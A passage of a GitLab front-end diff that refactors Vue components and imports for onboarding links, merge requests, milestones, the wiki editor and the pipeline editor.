+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
@@ -1,5 +1,7 @@
<script>
import { GlLink, GlIcon } from '@gitlab/ui';
+import { isExperimentVariant } from '~/experimentation/utils';
+import eventHub from '~/invite_members/event_hub';
import { s__ } from '~/locale';
import { ACTION_LABELS } from '../constants';
@@ -24,6 +26,20 @@ export default {
trialOnly() {
return ACTION_LABELS[this.action].trialRequired;
},
+ showInviteModalLink() {
+ return (
+ this.action === 'userAdded' && isExperimentVariant('invite_for_help_continuous_onboarding')
+ );
+ },
+ },
+ methods: {
+ openModal() {
+ eventHub.$emit('openModal', {
+ inviteeType: 'members',
+ source: 'learn_gitlab',
+ tasksToBeDoneEnabled: true,
+ });
+ },
},
};
</script>
@@ -33,18 +49,27 @@ export default {
<gl-icon name="check-circle-filled" :size="16" data-testid="completed-icon" />
{{ $options.i18n.ACTION_LABELS[action].title }}
</span>
- <span v-else>
- <gl-link
- target="_blank"
- :href="value.url"
- data-track-action="click_link"
- :data-track-label="$options.i18n.ACTION_LABELS[action].title"
- data-track-property="Growth::Conversion::Experiment::LearnGitLab"
- data-track-experiment="change_continuous_onboarding_link_urls"
- >
- {{ $options.i18n.ACTION_LABELS[action].title }}
- </gl-link>
- </span>
+ <gl-link
+ v-else-if="showInviteModalLink"
+ data-track-action="click_link"
+ :data-track-label="$options.i18n.ACTION_LABELS[action].title"
+ data-track-property="Growth::Activation::Experiment::InviteForHelpContinuousOnboarding"
+ data-testid="invite-for-help-continuous-onboarding-experiment-link"
+ @click="openModal"
+ >
+ {{ $options.i18n.ACTION_LABELS[action].title }}
+ </gl-link>
+ <gl-link
+ v-else
+ target="_blank"
+ :href="value.url"
+ data-track-action="click_link"
+ :data-track-label="$options.i18n.ACTION_LABELS[action].title"
+ data-track-property="Growth::Conversion::Experiment::LearnGitLab"
+ data-track-experiment="change_continuous_onboarding_link_urls"
+ >
+ {{ $options.i18n.ACTION_LABELS[action].title }}
+ </gl-link>
<span v-if="trialOnly" class="gl-font-style-italic gl-text-gray-500" data-testid="trial-only">
- {{ $options.i18n.trialOnly }}
</span>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/index/index.js b/app/assets/javascripts/pages/projects/learn_gitlab/index/index.js
index ea9eec2595f..1f91cc46946 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/index/index.js
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/index/index.js
@@ -12,17 +12,18 @@ function initLearnGitlab() {
const actions = convertObjectPropsToCamelCase(JSON.parse(el.dataset.actions));
const sections = convertObjectPropsToCamelCase(JSON.parse(el.dataset.sections));
+ const project = convertObjectPropsToCamelCase(JSON.parse(el.dataset.project));
const { inviteMembersOpen } = el.dataset;
return new Vue({
el,
render(createElement) {
return createElement(LearnGitlab, {
- props: { actions, sections, inviteMembersOpen },
+ props: { actions, sections, project, inviteMembersOpen },
});
},
});
}
-initInviteMembersModal();
initLearnGitlab();
+initInviteMembersModal();
diff --git a/app/assets/javascripts/pages/projects/merge_requests/index/index.js b/app/assets/javascripts/pages/projects/merge_requests/index/index.js
index d279086df7b..acd1731a700 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/index/index.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/index/index.js
@@ -1,17 +1,17 @@
import addExtraTokensForMergeRequests from 'ee_else_ce/filtered_search/add_extra_tokens_for_merge_requests';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered_search_token_keys';
-import initCsvImportExportButtons from '~/issuable/init_csv_import_export_buttons';
-import initIssuableByEmail from '~/issuable/init_issuable_by_email';
-import IssuableIndex from '~/issuable_index';
-import { FILTERED_SEARCH } from '~/pages/constants';
-import { ISSUABLE_INDEX } from '~/pages/projects/constants';
+import { initCsvImportExportButtons, initIssuableByEmail } from '~/issuable';
+import issuableInitBulkUpdateSidebar from '~/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
+import { ISSUABLE_INDEX } from '~/issuable/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import UsersSelect from '~/users_select';
-new IssuableIndex(ISSUABLE_INDEX.MERGE_REQUEST); // eslint-disable-line no-new
+issuableInitBulkUpdateSidebar.init(ISSUABLE_INDEX.MERGE_REQUEST);
addExtraTokensForMergeRequests(IssuableFilteredSearchTokenKeys);
+IssuableFilteredSearchTokenKeys.removeTokensForKeys('iteration');
initFilteredSearch({
page: FILTERED_SEARCH.MERGE_REQUESTS,
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js
index 7d5719cf8a8..ebf7c266482 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js
@@ -1,13 +1,13 @@
/* eslint-disable no-new */
import $ from 'jquery';
-import IssuableForm from 'ee_else_ce/issuable_form';
+import IssuableForm from 'ee_else_ce/issuable/issuable_form';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import Diff from '~/diff';
import GLForm from '~/gl_form';
-import LabelsSelect from '~/labels_select';
-import MilestoneSelect from '~/milestone_select';
-import IssuableTemplateSelectors from '~/templates/issuable_template_selectors';
+import LabelsSelect from '~/labels/labels_select';
+import MilestoneSelect from '~/milestones/milestone_select';
+import IssuableTemplateSelectors from '~/issuable/issuable_template_selectors';
export default () => {
new Diff();
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
index 99094617b0a..c548ea9bb80 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
@@ -3,7 +3,7 @@ import VueApollo from 'vue-apollo';
import loadAwardsHandler from '~/awards_handler';
import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
import { initPipelineCountListener } from '~/commit/pipelines/utils';
-import initIssuableSidebar from '~/init_issuable_sidebar';
+import { initIssuableSidebar } from '~/issuable';
import StatusBox from '~/issuable/components/status_box.vue';
import createDefaultClient from '~/lib/graphql';
import initSourcegraph from '~/sourcegraph';
diff --git a/app/assets/javascripts/pages/projects/merge_requests/queries/get_state.query.graphql b/app/assets/javascripts/pages/projects/merge_requests/queries/get_state.query.graphql
index b5a82b9428e..1edb37a228d 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/queries/get_state.query.graphql
+++ b/app/assets/javascripts/pages/projects/merge_requests/queries/get_state.query.graphql
@@ -1,6 +1,8 @@
query getMergeRequestState($projectPath: ID!, $iid: String!) {
workspace: project(fullPath: $projectPath) {
+ id
issuable: mergeRequest(iid: $iid) {
+ id
state
}
}
diff --git a/app/assets/javascripts/pages/projects/merge_requests/show/index.js b/app/assets/javascripts/pages/projects/merge_requests/show/index.js
index 25dede33880..7f49eb60c5c 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/show/index.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/show/index.js
@@ -1,8 +1,8 @@
import { initReviewBar } from '~/batch_comments';
+import { initIssuableHeaderWarnings } from '~/issuable';
import initMrNotes from '~/mr_notes';
import store from '~/mr_notes/stores';
import initSidebarBundle from '~/sidebar/sidebar_bundle';
-import initIssuableHeaderWarning from '~/vue_shared/components/issuable/init_issuable_header_warning';
import initShow from '../init_merge_request_show';
initMrNotes();
@@ -11,5 +11,5 @@ initShow();
requestIdleCallback(() => {
initSidebarBundle(store);
initReviewBar();
- initIssuableHeaderWarning(store);
+ initIssuableHeaderWarnings(store);
});
diff --git a/app/assets/javascripts/pages/projects/milestones/edit/index.js b/app/assets/javascripts/pages/projects/milestones/edit/index.js
index 4f8514a9a1d..7fda129a85d 100644
--- a/app/assets/javascripts/pages/projects/milestones/edit/index.js
+++ b/app/assets/javascripts/pages/projects/milestones/edit/index.js
@@ -1,3 +1,3 @@
-import initForm from '~/shared/milestones/form';
+import { initForm } from '~/milestones';
initForm();
diff --git a/app/assets/javascripts/pages/projects/milestones/index/index.js b/app/assets/javascripts/pages/projects/milestones/index/index.js
index 150b506b121..ef1c9ab83db 100644
--- a/app/assets/javascripts/pages/projects/milestones/index/index.js
+++ b/app/assets/javascripts/pages/projects/milestones/index/index.js
@@ -1,3 +1,4 @@
-import milestones from '~/pages/milestones/shared';
+import { initDeleteMilestoneModal, initPromoteMilestoneModal } from '~/milestones';
-milestones();
+initDeleteMilestoneModal();
+initPromoteMilestoneModal();
diff --git a/app/assets/javascripts/pages/projects/milestones/new/index.js b/app/assets/javascripts/pages/projects/milestones/new/index.js
index 4f8514a9a1d..7fda129a85d 100644
--- a/app/assets/javascripts/pages/projects/milestones/new/index.js
+++ b/app/assets/javascripts/pages/projects/milestones/new/index.js
@@ -1,3 +1,3 @@
-import initForm from '~/shared/milestones/form';
+import { initForm } from '~/milestones';
initForm();
diff --git a/app/assets/javascripts/pages/projects/milestones/show/index.js b/app/assets/javascripts/pages/projects/milestones/show/index.js
index 3c755e9b98c..16aac7748da 100644
--- a/app/assets/javascripts/pages/projects/milestones/show/index.js
+++ b/app/assets/javascripts/pages/projects/milestones/show/index.js
@@ -1,5 +1,5 @@
-import milestones from '~/pages/milestones/shared';
-import initMilestonesShow from '~/pages/milestones/shared/init_milestones_show';
+import { initDeleteMilestoneModal, initPromoteMilestoneModal, initShow } from '~/milestones';
-initMilestonesShow();
-milestones();
+initShow();
+initDeleteMilestoneModal();
+initPromoteMilestoneModal();
diff --git a/app/assets/javascripts/pages/projects/packages/packages/index/index.js b/app/assets/javascripts/pages/projects/packages/packages/index/index.js
index f9eecff4ac4..174973a9fad 100644
--- a/app/assets/javascripts/pages/projects/packages/packages/index/index.js
+++ b/app/assets/javascripts/pages/projects/packages/packages/index/index.js
@@ -1,3 +1,3 @@
-import packageList from '~/packages_and_registries/package_registry/pages/list';
+import packageApp from '~/packages_and_registries/package_registry/index';
-packageList();
+packageApp();
diff --git a/app/assets/javascripts/pages/projects/path_locks/index.js b/app/assets/javascripts/pages/projects/path_locks/index.js
deleted file mode 100644
index e5ab5d43bbf..00000000000
--- a/app/assets/javascripts/pages/projects/path_locks/index.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
-
-document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
diff --git a/app/assets/javascripts/pages/projects/services/edit/index.js b/app/assets/javascripts/pages/projects/services/edit/index.js
index 03ffc323fc0..a2b18d86240 100644
--- a/app/assets/javascripts/pages/projects/services/edit/index.js
+++ b/app/assets/javascripts/pages/projects/services/edit/index.js
@@ -1,9 +1,8 @@
-import IntegrationSettingsForm from '~/integrations/integration_settings_form';
+import initIntegrationSettingsForm from '~/integrations/edit';
import PrometheusAlerts from '~/prometheus_alerts';
import CustomMetrics from '~/prometheus_metrics/custom_metrics';
-const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
-integrationSettingsForm.init();
+initIntegrationSettingsForm('.js-integration-settings-form');
const prometheusSettingsSelector = '.js-prometheus-metrics-monitoring';
const prometheusSettingsWrapper = document.querySelector(prometheusSettingsSelector);
diff --git a/app/assets/javascripts/pages/projects/usage_quotas/index.js b/app/assets/javascripts/pages/projects/usage_quotas/index.js
deleted file mode 100644
index 9cd80b85c8a..00000000000
--- a/app/assets/javascripts/pages/projects/usage_quotas/index.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import LinkedTabs from '~/lib/utils/bootstrap_linked_tabs';
-import storageCounter from '~/projects/storage_counter';
-import initSearchSettings from '~/search_settings';
-
-const initLinkedTabs = () => {
- if (!document.querySelector('.js-usage-quota-tabs')) {
- return false;
- }
-
- return new LinkedTabs({
- defaultAction: '#storage-quota-tab',
- parentEl: '.js-usage-quota-tabs',
- hashedTabs: true,
- });
-};
-
-const initVueApp = () => {
- storageCounter('js-project-storage-count-app');
-};
-
-initVueApp();
-initLinkedTabs();
-initSearchSettings();
diff --git a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
index 6f19a9f4379..b29e9455755 100644
--- a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
+++ b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
@@ -15,6 +15,7 @@ import { setUrlFragment } from '~/lib/utils/url_utility';
import { __, s__, sprintf } from '~/locale';
import Tracking from '~/tracking';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import {
CONTENT_EDITOR_LOADED_ACTION,
SAVED_USING_CONTENT_EDITOR_ACTION,
@@ -46,7 +47,7 @@ export default {
newPage: s__(
'WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories.',
),
- moreInformation: s__('WikiPage|More Information.'),
+ learnMore: s__('WikiPage|Learn more.'),
},
},
format: {
@@ -104,6 +105,8 @@ export default {
newPage: s__('WikiPage|Create page'),
},
cancel: s__('WikiPage|Cancel'),
+ editSourceButtonText: s__('WikiPage|Edit source'),
+ editRichTextButtonText: s__('WikiPage|Edit rich text'),
},
contentEditorFeedbackIssue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332629',
components: {
@@ -123,7 +126,7 @@ export default {
directives: {
GlModalDirective,
},
- mixins: [trackingMixin],
+ mixins: [trackingMixin, glFeatureFlagMixin()],
inject: ['formatOptions', 'pageInfo'],
data() {
return {
@@ -131,7 +134,6 @@ export default {
format: this.pageInfo.format || 'markdown',
content: this.pageInfo.content || '',
isContentEditorAlertDismissed: false,
- isContentEditorLoading: true,
useContentEditor: false,
commitMessage: '',
isDirty: false,
@@ -164,6 +166,11 @@ export default {
linkExample() {
return MARKDOWN_LINK_TEXT[this.format];
},
+ toggleEditingModeButtonText() {
+ return this.isContentEditorActive
+ ? this.$options.i18n.editSourceButtonText
+ : this.$options.i18n.editRichTextButtonText;
+ },
submitButtonText() {
return this.pageInfo.persisted
? this.$options.i18n.submitButton.existingPage
@@ -188,7 +195,23 @@ export default {
return this.format === 'markdown';
},
showContentEditorAlert() {
- return this.isMarkdownFormat && !this.useContentEditor && !this.isContentEditorAlertDismissed;
+ return (
+ !this.glFeatures.wikiSwitchBetweenContentEditorRawMarkdown &&
+ this.isMarkdownFormat &&
+ !this.useContentEditor &&
+ !this.isContentEditorAlertDismissed
+ );
+ },
+ showSwitchEditingModeButton() {
+ return this.glFeatures.wikiSwitchBetweenContentEditorRawMarkdown && this.isMarkdownFormat;
+ },
+ displayWikiSpecificMarkdownHelp() {
+ return !this.isContentEditorActive;
+ },
+ displaySwitchBackToClassicEditorMessage() {
+ return (
+ !this.glFeatures.wikiSwitchBetweenContentEditorRawMarkdown && this.isContentEditorActive
+ );
},
disableSubmitButton() {
return this.noContent || !this.title || this.contentEditorRenderFailed;
@@ -212,6 +235,14 @@ export default {
.then(({ data }) => data.body);
},
+ toggleEditingMode() {
+ if (this.useContentEditor) {
+ this.content = this.contentEditor.getSerializedContent();
+ }
+
+ this.useContentEditor = !this.useContentEditor;
+ },
+
async handleFormSubmit(e) {
e.preventDefault();
@@ -311,8 +342,11 @@ export default {
trackWikiFormat() {
this.track(WIKI_FORMAT_UPDATED_ACTION, {
label: WIKI_FORMAT_LABEL,
- value: this.format,
- extra: { project_path: this.pageInfo.path, old_format: this.pageInfo.format },
+ extra: {
+ project_path: this.pageInfo.path,
+ old_format: this.pageInfo.format,
+ value: this.format,
+ },
});
},
@@ -371,10 +405,9 @@ export default {
<span class="gl-display-inline-block gl-max-w-full gl-mt-2 gl-text-gray-600">
<gl-icon class="gl-mr-n1" name="bulb" />
{{ titleHelpText }}
- <gl-link :href="helpPath" target="_blank"
- ><gl-icon name="question-o" />
- {{ $options.i18n.title.helpText.moreInformation }}</gl-link
- >
+ <gl-link :href="helpPath" target="_blank">
+ {{ $options.i18n.title.helpText.learnMore }}
+ </gl-link>
</span>
</div>
</div>
@@ -405,6 +438,19 @@ export default {
}}</label>
</div>
<div class="col-sm-10">
+ <div
+ v-if="showSwitchEditingModeButton"
+ class="gl-display-flex gl-justify-content-end gl-mb-3"
+ >
+ <gl-button
+ data-testid="toggle-editing-mode-button"
+ data-qa-selector="editing_mode_button"
+ :data-qa-mode="toggleEditingModeButtonText"
+ variant="link"
+ @click="toggleEditingMode"
+ >{{ toggleEditingModeButtonText }}</gl-button
+ >
+ </div>
<gl-alert
v-if="showContentEditorAlert"
class="gl-mb-6"
@@ -498,7 +544,7 @@ export default {
<div class="error-alert"></div>
<div class="form-text gl-text-gray-600">
- <gl-sprintf v-if="!isContentEditorActive" :message="$options.i18n.linksHelpText">
+ <gl-sprintf v-if="displayWikiSpecificMarkdownHelp" :message="$options.i18n.linksHelpText">
<template #linkExample
><code>{{ linkExample }}</code></template
>
@@ -513,7 +559,7 @@ export default {
></template
>
</gl-sprintf>
- <span v-else>
+ <span v-if="displaySwitchBackToClassicEditorMessage">
{{ $options.i18n.contentEditor.switchToOldEditor.helpText }}
<gl-button variant="link" @click="confirmSwitchToOldEditor">{{
$options.i18n.contentEditor.switchToOldEditor.label
diff --git a/app/assets/javascripts/pdf/index.vue b/app/assets/javascripts/pdf/index.vue
index 6a64538abfe..644eccc0232 100644
--- a/app/assets/javascripts/pdf/index.vue
+++ b/app/assets/javascripts/pdf/index.vue
@@ -45,7 +45,7 @@ export default {
.promise.then(this.renderPages)
.then((pages) => {
this.pages = pages;
- this.$emit('pdflabload');
+ this.$emit('pdflabload', pages.length);
})
.catch((error) => {
this.$emit('pdflaberror', error);
diff --git a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
index 905a5f2d271..9f82d4a5395 100644
--- a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
+++ b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
@@ -73,7 +73,7 @@ export default {
});
},
onReset() {
- this.$emit('cancel');
+ this.$emit('resetContent');
},
scrollIntoView() {
this.$el.scrollIntoView({ behavior: 'smooth' });
@@ -86,7 +86,7 @@ export default {
startMergeRequest: __('Start a %{new_merge_request} with these changes'),
newMergeRequest: __('new merge request'),
commitChanges: __('Commit changes'),
- cancel: __('Cancel'),
+ resetContent: __('Reset'),
},
};
</script>
@@ -148,7 +148,7 @@ export default {
{{ $options.i18n.commitChanges }}
</gl-button>
<gl-button type="reset" category="secondary" class="gl-mr-3">
- {{ $options.i18n.cancel }}
+ {{ $options.i18n.resetContent }}
</gl-button>
</div>
</gl-form>
diff --git a/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue b/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue
index 14c11099756..54c9688d88f 100644
--- a/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue
+++ b/app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue
@@ -8,10 +8,10 @@ import {
COMMIT_SUCCESS,
} from '../../constants';
import commitCIFile from '../../graphql/mutations/commit_ci_file.mutation.graphql';
-import updateCurrentBranchMutation from '../../graphql/mutations/update_current_branch.mutation.graphql';
-import updateLastCommitBranchMutation from '../../graphql/mutations/update_last_commit_branch.mutation.graphql';
-import updatePipelineEtag from '../../graphql/mutations/update_pipeline_etag.mutation.graphql';
-import getCurrentBranch from '../../graphql/queries/client/current_branch.graphql';
+import updateCurrentBranchMutation from '../../graphql/mutations/client/update_current_branch.mutation.graphql';
+import updateLastCommitBranchMutation from '../../graphql/mutations/client/update_last_commit_branch.mutation.graphql';
+import updatePipelineEtag from '../../graphql/mutations/client/update_pipeline_etag.mutation.graphql';
+import getCurrentBranch from '../../graphql/queries/client/current_branch.query.graphql';
import CommitForm from './commit_form.vue';
@@ -60,6 +60,9 @@ export default {
apollo: {
currentBranch: {
query: getCurrentBranch,
+ update(data) {
+ return data.workBranches.current.name;
+ },
},
},
computed: {
@@ -87,7 +90,7 @@ export default {
try {
const {
data: {
- commitCreate: { errors },
+ commitCreate: { errors, commitPipelinePath: pipelineEtag },
},
} = await this.$apollo.mutate({
mutation: commitCIFile,
@@ -101,14 +104,12 @@ export default {
content: this.ciFileContent,
lastCommitId: this.commitSha,
},
- update(_, { data }) {
- const pipelineEtag = data?.commitCreate?.commit?.commitPipelinePath;
- if (pipelineEtag) {
- this.$apollo.mutate({ mutation: updatePipelineEtag, variables: pipelineEtag });
- }
- },
});
+ if (pipelineEtag) {
+ this.updatePipelineEtag(pipelineEtag);
+ }
+
if (errors?.length) {
this.$emit('showError', { type: COMMIT_FAILURE, reasons: errors });
} else if (openMergeRequest) {
@@ -127,9 +128,6 @@ export default {
this.isSaving = false;
}
},
- onCommitCancel() {
- this.$emit('resetContent');
- },
updateCurrentBranch(currentBranch) {
this.$apollo.mutate({
mutation: updateCurrentBranchMutation,
@@ -142,6 +140,9 @@ export default {
variables: { lastCommitBranch },
});
},
+ updatePipelineEtag(pipelineEtag) {
+ this.$apollo.mutate({ mutation: updatePipelineEtag, variables: { pipelineEtag } });
+ },
},
};
</script>
@@ -153,7 +154,6 @@ export default {
:is-saving="isSaving"
:scroll-to-commit-form="scrollToCommitForm"
v-on="$listeners"
- @cancel="onCommitCancel"
@submit="onCommitSubmit"
/>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/drawer/pipeline_editor_drawer.vue b/app/assets/javascripts/pipeline_editor/components/drawer/pipeline_editor_drawer.vue
index d7594fb318a..7bc096ce2c8 100644
--- a/app/assets/javascripts/pipeline_editor/components/drawer/pipeline_editor_drawer.vue
+++ b/app/assets/javascripts/pipeline_editor/components/drawer/pipeline_editor_drawer.vue
@@ -90,7 +90,7 @@ export default {
<local-storage-sync v-model="isExpanded" :storage-key="$options.localDrawerKey" as-json>
<aside
aria-live="polite"
- class="gl-fixed gl-right-0 gl-bg-gray-10 gl-shadow-drawer gl-transition-property-width gl-transition-duration-medium gl-border-l-solid gl-border-1 gl-border-gray-100 gl-h-full gl-z-index-3 gl-overflow-y-auto"
+ class="gl-fixed gl-right-0 gl-bg-gray-10 gl-shadow-drawer gl-transition-property-width gl-transition-duration-medium gl-border-l-solid gl-border-1 gl-border-gray-100 gl-h-full gl-z-index-200 gl-overflow-y-auto"
:style="rootStyle"
>
<gl-button
@@ -98,6 +98,7 @@ export default {
class="gl-w-full gl-h-9 gl-rounded-0! gl-border-none! gl-border-b-solid! gl-border-1! gl-border-gray-100 gl-text-decoration-none! gl-outline-0! gl-display-flex"
:class="buttonClass"
:title="__('Toggle sidebar')"
+ data-qa-selector="toggle_sidebar_collapse_button"
@click="toggleDrawer"
>
<span v-if="isExpanded" class="gl-text-gray-500 gl-mr-3" data-testid="collapse-text">
@@ -105,7 +106,12 @@ export default {
</span>
<gl-icon data-testid="toggle-icon" :name="buttonIconName" />
</gl-button>
- <div v-if="isExpanded" class="gl-h-full gl-p-5" data-testid="drawer-content">
+ <div
+ v-if="isExpanded"
+ class="gl-h-full gl-p-5"
+ data-testid="drawer-content"
+ data-qa-selector="drawer_content"
+ >
<getting-started-card class="gl-mb-4" />
<first-pipeline-card class="gl-mb-4" />
<visualize-and-lint-card class="gl-mb-4" />
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
index 7b8e97b573e..92fa411d5af 100644
--- a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
+++ b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
@@ -19,7 +19,7 @@ export default {
if (this.glFeatures.schemaLinting) {
const editorInstance = this.$refs.editor.getEditor();
- editorInstance.use(new CiSchemaExtension({ instance: editorInstance }));
+ editorInstance.use({ definition: CiSchemaExtension });
editorInstance.registerCiSchema();
}
},
diff --git a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
index baf1d17b233..4f79a81d539 100644
--- a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
+++ b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
@@ -18,10 +18,10 @@ import {
BRANCH_SEARCH_DEBOUNCE,
DEFAULT_FAILURE,
} from '~/pipeline_editor/constants';
-import updateCurrentBranchMutation from '~/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql';
-import getAvailableBranchesQuery from '~/pipeline_editor/graphql/queries/available_branches.graphql';
-import getCurrentBranchQuery from '~/pipeline_editor/graphql/queries/client/current_branch.graphql';
-import getLastCommitBranchQuery from '~/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql';
+import updateCurrentBranchMutation from '~/pipeline_editor/graphql/mutations/client/update_current_branch.mutation.graphql';
+import getAvailableBranchesQuery from '~/pipeline_editor/graphql/queries/available_branches.query.graphql';
+import getCurrentBranch from '~/pipeline_editor/graphql/queries/client/current_branch.query.graphql';
+import getLastCommitBranch from '~/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql';
export default {
i18n: {
@@ -61,8 +61,8 @@ export default {
},
data() {
return {
- branchSelected: null,
availableBranches: [],
+ branchSelected: null,
filteredBranches: [],
isSearchingBranches: false,
pageLimit: this.paginationLimit,
@@ -93,15 +93,25 @@ export default {
},
},
currentBranch: {
- query: getCurrentBranchQuery,
+ query: getCurrentBranch,
+ update(data) {
+ return data.workBranches.current.name;
+ },
},
lastCommitBranch: {
- query: getLastCommitBranchQuery,
- result({ data: { lastCommitBranch } }) {
- if (lastCommitBranch === '' || this.availableBranches.includes(lastCommitBranch)) {
- return;
+ query: getLastCommitBranch,
+ update(data) {
+ return data.workBranches.lastCommit.name;
+ },
+ result({ data }) {
+ if (data) {
+ const { name: lastCommitBranch } = data.workBranches.lastCommit;
+ if (lastCommitBranch === '' || this.availableBranches.includes(lastCommitBranch)) {
+ return;
+ }
+
+ this.availableBranches.unshift(lastCommitBranch);
}
- this.availableBranches.unshift(lastCommitBranch);
},
},
},
@@ -109,12 +119,12 @@ export default {
branches() {
return this.searchTerm.length > 0 ? this.filteredBranches : this.availableBranches;
},
- isBranchesLoading() {
- return this.$apollo.queries.availableBranches.loading || this.isSearchingBranches;
- },
enableBranchSwitcher() {
return this.branches.length > 0 || this.searchTerm.length > 0;
},
+ isBranchesLoading() {
+ return this.$apollo.queries.availableBranches.loading || this.isSearchingBranches;
+ },
},
watch: {
shouldLoadNewBranch(flag) {
@@ -247,6 +257,7 @@ export default {
<gl-infinite-scroll
:fetched-items="branches.length"
:max-list-height="250"
+ data-qa-selector="branch_menu_container"
@bottomReached="fetchNextBranches"
>
<template #items>
@@ -255,7 +266,7 @@ export default {
:key="branch"
:is-checked="currentBranch === branch"
:is-check-item="true"
- data-qa-selector="menu_branch_button"
+ data-qa-selector="branch_menu_item_button"
@click="selectBranch(branch)"
>
{{ branch }}
diff --git a/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue b/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
index 6fe1459c80c..16ad648afca 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
+++ b/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
@@ -3,8 +3,8 @@ import { GlButton, GlIcon, GlLink, GlLoadingIcon, GlSprintf, GlTooltipDirective
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { truncateSha } from '~/lib/utils/text_utility';
import { s__ } from '~/locale';
-import getPipelineQuery from '~/pipeline_editor/graphql/queries/client/pipeline.graphql';
-import getPipelineEtag from '~/pipeline_editor/graphql/queries/client/pipeline_etag.graphql';
+import getPipelineQuery from '~/pipeline_editor/graphql/queries/pipeline.query.graphql';
+import getPipelineEtag from '~/pipeline_editor/graphql/queries/client/pipeline_etag.query.graphql';
import {
getQueryHeaders,
toggleQueryPollingByVisibility,
@@ -21,9 +21,6 @@ export const i18n = {
),
viewBtn: s__('Pipeline|View pipeline'),
viewCommit: s__('Pipeline|View commit'),
- pipelineNotTriggeredMsg: s__(
- 'Pipeline|No pipeline was triggered for the latest changes due to the current CI/CD configuration.',
- ),
};
export default {
@@ -51,6 +48,9 @@ export default {
apollo: {
pipelineEtag: {
query: getPipelineEtag,
+ update(data) {
+ return data.etags.pipeline;
+ },
},
pipeline: {
context() {
@@ -79,22 +79,16 @@ export default {
result(res) {
if (res.data?.project?.pipeline) {
this.hasError = false;
- } else {
- this.hasError = true;
- this.pipelineNotTriggered = true;
}
},
error() {
this.hasError = true;
- this.networkError = true;
},
pollInterval: POLL_INTERVAL,
},
},
data() {
return {
- networkError: false,
- pipelineNotTriggered: false,
hasError: false,
};
},
@@ -148,16 +142,8 @@ export default {
</div>
</template>
<template v-else-if="hasError">
- <div v-if="networkError">
- <gl-icon class="gl-mr-auto" name="warning-solid" />
- <span data-testid="pipeline-error-msg">{{ $options.i18n.fetchError }}</span>
- </div>
- <div v-else>
- <gl-icon class="gl-mr-auto" name="information-o" />
- <span data-testid="pipeline-not-triggered-error-msg">
- {{ $options.i18n.pipelineNotTriggeredMsg }}
- </span>
- </div>
+ <gl-icon class="gl-mr-auto" name="warning-solid" />
+ <span data-testid="pipeline-error-msg">{{ $options.i18n.fetchError }}</span>
</template>
<template v-else>
<div class="gl-text-truncate gl-md-max-w-50p gl-mr-1">
diff --git a/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue b/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
index 611b78b3c5e..833d784f940 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
